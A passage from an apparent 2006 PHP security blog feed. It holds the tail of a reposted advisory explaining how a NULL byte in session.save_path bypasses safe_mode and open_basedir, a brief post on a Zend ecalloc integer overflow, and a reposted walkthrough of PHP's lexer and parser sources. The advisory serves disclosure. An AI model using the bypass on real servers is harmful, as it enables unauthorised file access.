														<span style="COLOR: #000000"> (errno </span>
														<span style="COLOR: #000000">==</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> ERANGE) {<br />php_error(</span>
														<span style="COLOR: #ff00ff">E_WARNING</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> <br /></span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">The first parameter in session.save_path is invalid</span>
														<span style="COLOR: #000000">"</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">return</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> FAILURE;<br />}<br />}<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (argc </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">2</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />errno </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />filemode </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> strtol(argv[</span>
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000">]</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #0000ff">NULL</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">8</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (errno </span>
														<span style="COLOR: #000000">==</span>
														<span style="COLOR: #000000"> ERANGE </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> filemode </span>
														<span style="COLOR: #000000">&lt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> filemode </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">07777</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />php_error(</span>
														<span style="COLOR: #ff00ff">E_WARNING</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> <br /></span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">The second parameter in session.save_path is invalid</span>
														<span style="COLOR: #000000">"</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">return</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> FAILURE;<br />}<br />}<br />save_path </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> argv[argc </span>
														<span style="COLOR: #000000">-</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">];<br /><br />data </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> emalloc(</span>
														<span style="COLOR: #008080">sizeof</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">data));<br />memset(data</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">sizeof</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">data));<br /><br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">fd </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">-</span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">dirdepth </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> dirdepth;<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">filemode </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> filemode;<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">basedir_len </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">strlen</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">(save_path);<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">basedir </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> estrndup(save_path</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> data</span>
														<span style="COLOR: #000000">-&gt;</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">basedir_len);<br /><br />PS_SET_MOD_DATA(data);<br /><br /></span>
														<span style="COLOR: #0000ff">return</span>
												</font>
												<span style="COLOR: #000000">
														<font size="2"> SUCCESS;<br />}<br /></font>
												</span>
										</div>
										<font size="2">- -242-300--- Code from PHP520 ext/session/mod_files.c [END]<br /><br />Because in session.save_path there is a NULL byte before ";", strchr() doesn't see<br />";" and path is /DIR/WHERE/YOU/DONT/HAVE/ACCESS.<br /><br />Problem exists because safe_mode and open_basedir check what is after ;. And it is needed to<br />set correct path after ";".<br /><br />- --- 2. How to fix ---<br />http://cvs.php.net/viewcvs.cgi/php-src/NEWS<br /><br />- --- 3. Greets ---<br /><br />For: sp3x<br />and<br />l5x, p_e_a, lorddav, pi3<br /><br />- --- 4. Contact ---<br />Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]<br />Email: cxib [at] securityreason [dot] com<br />GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg<br /><br />Regards <br />SecurityReason<br /><br />-----BEGIN PGP SIGNATURE-----<br />Version: GnuPG v1.4.2.2 (FreeBSD)<br /><br />iD8DBQFFedKL3Ke13X/fTO4RAms1AKCTSc8CNZmHWhXvOdjtTBcIgdHTuwCgkvrz<br />9KnewH0rOVFfmPRx2f1x5W4=<br />=YAP9<br />-----END PGP SIGNATURE-----<br /><br /></font>
								</div>
						</tr>
				</tbody>
		</table>
<img src ="http://www.phpweblog.net/GaRY/aggbug/552.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-12-09 12:10 <a href="http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP ZendEngine ECalloc Integer Overflow Vulnerability</title><link>http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 10 Oct 2006 11:05:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/451.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/451.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/451.html</trackback:ping><description><![CDATA[先引用一段话:<br /><br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">这个洞目前只在cvs里做了修补，PHP </span><span style="COLOR: #000000">5.1</span><span style="COLOR: #000000">.6都有影响,而且是php底部api出的问题,应该是很多函数都有影响.<br />看起来貌似很爽的样子<br /><a href="http://www.securityfocus.com/bid/20349/info">http://www.securityfocus.com/bid/20349/info</a></span><span style="COLOR: #000000"><br /><a href="http://cvs.php.net/viewvc.cgi/ZendEngine2/zend_alloc.c?r1=1.161&amp;r2=1.162">http://cvs.php.net/viewvc.cgi/ZendEngine2/zend_alloc.c?r1=1.161&amp;r2=1.162</a></span><span style="COLOR: #000000"></span></div><br />比如下面这个漏洞就是由ecalloc引起的:<br /><br />PHP unserialize() Array Creation Integer Overflow<br /><a href="http://www.hardened-php.net/advisory_092006.133.html">http://www.hardened-php.net/advisory_092006.133.html</a><br /><br />真是应了我上篇日志的话,以后php漏洞,得往底层找去,底层找才有出路啊<img src ="http://www.phpweblog.net/GaRY/aggbug/451.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-10-10 19:05 <a href="http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP源代码简单分析 [zt]</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 Aug 2006 07:55:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/323.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/323.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/323.html</trackback:ping><description><![CDATA[
		<p>原贴地址: <a href="http://x-space.discuz.net/space/html/95/22195_itemid_14752.html">http://x-space.discuz.net/space/html/95/22195_itemid_14752.html</a><br /><br />当前版本PHP5.1.4</p>
		<p>1. 目录结构 <br />   1. build 和编译有关的目录。 <br />   2. ext 扩展库代码，例如 Mysql、zlib、iconv 等我们熟悉的扩展库。 <br />   3. main 主目录。 <br />   4. sapi 和各种服务器的接口调用，例如apache、IIS等，也包含一般的fastcgi、cgi等。 <br />   5. win32 和 Windows 下编译 PHP 有关的脚本。用了 WSH。 <br />   6. Zend 文件夹核心的引擎。</p>
		<p>2. PHP使用Lex和Yacc对语法进行解析。<br />   在 Zend 目录下有两个文件 zend_language_parser.y 与 zend_language_scanner.l 他们是Lex和Yacc的脚本文件，通过这两个脚本文件生成对应的.c和.h文件，实际上这在 linux 下非常普遍，gcc 也使用它们产生语树。 </p>
		<p>3. PHP如何使用Mysql？<br />   ext 目录下有一个 mysql 子目录，这个目录中的php_mysql.c 和 php_mysql.h 负责 PHP 与 Mysql 操作。使用了 Mysql 手册中的 C 语言 API。 </p>
		<p>4. 安全模式？<br />   main 文件夹下的safe_mode.h 和 safe_mode.c 文件负责PHP的安全模式。<br />5. 那些是 PHP 的标准函数，那些是扩展函数？<br />   ext 目录下英文意思是扩展，而在 ext 下还是有一个 standard 文件夹，存放着 PHP 中的标准函数，例如 explode 这个函数是在 ./ext/standard/string.c 下定义的。<br />6. PHP 源代码中的PHP_FUNCTION(xx) 宏。<br />   这个宏用来检验一个函数名称是否合法。合法的函数名称应该由小写字母及下划线组成。<br />7. 那些函数集是标准的？<br />   通过 ./ext/standard/ 目录我们可以看到以下常用函数集是标准的。字符串函数集、数组函数集、文件及目录操作函数集、md5算法等。<br />8. 一些函数的实现过程<br />   1. fsockopen, pfsockopen 的实现<br />      这两个函数的实现离不开 ./ext/standard/fsock.c 文件中的 php_fsockopen_stream 函数。具体的socket都在./main/network.c 中实现。<br />9. PHP 函数集注册过程<br />   在./main/internal_functions.c 中有一个数组 php_builtin_extensions 默认下有以下成员：<br />   <br />   1. phpext_bcmath_ptr<br />   2. phpext_calendar_ptr<br />   3. phpext_com_dotnet_ptr<br />   4. phpext_ctype_ptr<br />   5. phpext_date_ptr<br />   6. phpext_ftp_ptr<br />   7. phpext_hash_ptr<br />   8. phpext_odbc_ptr<br />   9. phpext_pcre_ptr<br />   10. phpext_reflection_ptr<br />   11. phpext_session_ptr<br />   12. phpext_spl_ptr<br />   13. phpext_standard_ptr<br />   14. phpext_tokenizer_ptr<br />   15. phpext_zlib_ptr<br />   <br />   接着 php_register_extensions(php_builtin_extensions, EXTCOUNT TSRMLS_CC) 进行注册<br />   <br />10. 有趣的Zend LOGO图片<br />       ./main/logos.h 文件中，用 zend_logo 与 php_logo 数组保存了 PHP 标志和 Zend 标志。所以你根本在发行包里找不到zend.gif。<br />11. PHP的语法树？<br />   <br />    1. Lex与Yacc<br />       市面上有这本书。大家可以买来看看，包括GCC都是用它们兄弟生成的语法树。如果对编译器感兴趣。可以翻阅市面上关于这方面的书，并不多就几本。<br />    <br />    2. .l与.y语法树文件<br />       ./Zend/zend_language_scanner.l与./Zend/zend_language_parser.y 规定了PHP的语法。从字面意义上scanner表示语法初步扫描，parser表示语法解析。根据这两个文件lex与yacc可以生成对应的c代码。所以相对来说生成语法是很方便的。<br />   <br />    3. 如何定义一个符号<br />       例如 if($language='php') 这一句中的if 就是一个token 语法中我们用T_IF表示。具体在.l文件中如下定义了：<br />       </p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">       &lt;</span>
				<span style="COLOR: #000000">ST_IN_SCRIPTING</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">if</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> {<br />              </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000"> T_IF;<br />      }<br /></span>
		</div>
		<p>      这样.php文件中的if就会被翻译成内置符号T_IF。’(单引号)被如下定义：<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000">ST_SINGLE_QUOTE</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">] {<br />            BEGIN(ST_IN_SCRIPTING);<br />            return </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">\</span>
				<span style="COLOR: #000000">''</span>
				<span style="COLOR: #000000">;<br />      }<br /></span>
		</div>
		<p>      <br />   4. 复合符号例如最常见的变量命名$discuz_user, $submit 等。<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000">ST_IN_SCRIPTING</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">ST_DOUBLE_QUOTES</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">ST_HEREDOC</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">ST_BACKQUOTE</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">{LABEL} {<br />            zend_copy_value(zendlval</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> (yytext</span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> (yyleng</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">));<br />            zendlval</span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000">type </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #008080">IS_STRING</span>
				<span style="COLOR: #000000">;<br />            </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000"> T_VARIABLE;<br />      }<br /></span>
		</div>
		<p>   <br />   5. 一个有效的if语句过程<br />      这个定义在zend_language_parser.y 189行:<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      T_IF </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> expr </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> {<br />            zend_do_if_cond(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">3</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } statement {<br />            zend_do_if_after_statement(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } elseif_list else_single {<br />            zend_do_if_end(TSRMLS_C);<br />      }<br />      </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> T_IF </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> expr </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">:</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> {<br />            zend_do_if_cond(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">3</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } inner_statement_list {<br />            zend_do_if_after_statement(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } new_elseif_list new_else_single T_ENDIF </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">;</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> {<br />            zend_do_if_end(TSRMLS_C);<br />      }<br /></span>
		</div>
		<p>      if 后面必须存在()，圆括弧里面是表达式 expr 表达式在734行被定义：<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      expr:<br />            r_variable { $$ </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> $</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">; }<br />            </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> expr_without_variable { $$ </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> $</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">; }<br />      ;</span>
		</div>
		<p>
				<br />      if 后面可以跟 elseif 语句及 else 语句。<br />      从语法树里面我们看出 if () 后面是可以跟 : 的，这一般很少被使用吧。</p>
		<p>   6. 优先级和左右结合性<br />      一般情况下.y文件中最先定义的操作符优先级相对低，并且可以使用%left、%right 进行描述左右结合性，例如：<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      </span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">left </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">
						<br />      </span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">left </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">/</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">
						<br />      </span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">right </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">!</span>
				<span style="COLOR: #000000">'</span>
		</div>
		<p>
				<br />      这说明'!'在 PHP 语法中是右结合的， '*' '/' '%' '+' '-' '.' 是左结合的，并且'!'的优先级更高<br />      例如语法 !$a + $b 要先计算 !$a 在进行加法操作<br />      %left ',' 被放在最上面定义，说明他的优先级最低，因为我们知道','可以等同一个语句。</p>
		<p>   7. php.ini的解析 </p>
		<p>      1. 如果规定数值正负？<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">        </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000"> INITIAL </span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000"> [ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000"> ( </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> true </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> on </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> yes </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> )[ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">  {<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> val  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">  zend_strndup( </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> 1 </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> );<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> len  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> ;<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> type  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008080">IS_STRING</span>
				<span style="COLOR: #000000"> ;<br />               </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000">  CFG_TRUE;<br />      }<br /><br />       </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000"> INITIAL </span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000"> [ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000"> ( </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> false </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> off </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> no </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> none </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> )[ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">  {<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> val  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">  zend_strndup( </span>
				<span style="COLOR: #000000">""</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000"> );<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> len  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000"> ;<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> type  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008080">IS_STRING</span>
				<span style="COLOR: #000000"> ;<br />               </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000">  CFG_FALSE;<br />      }</span>
		</div>
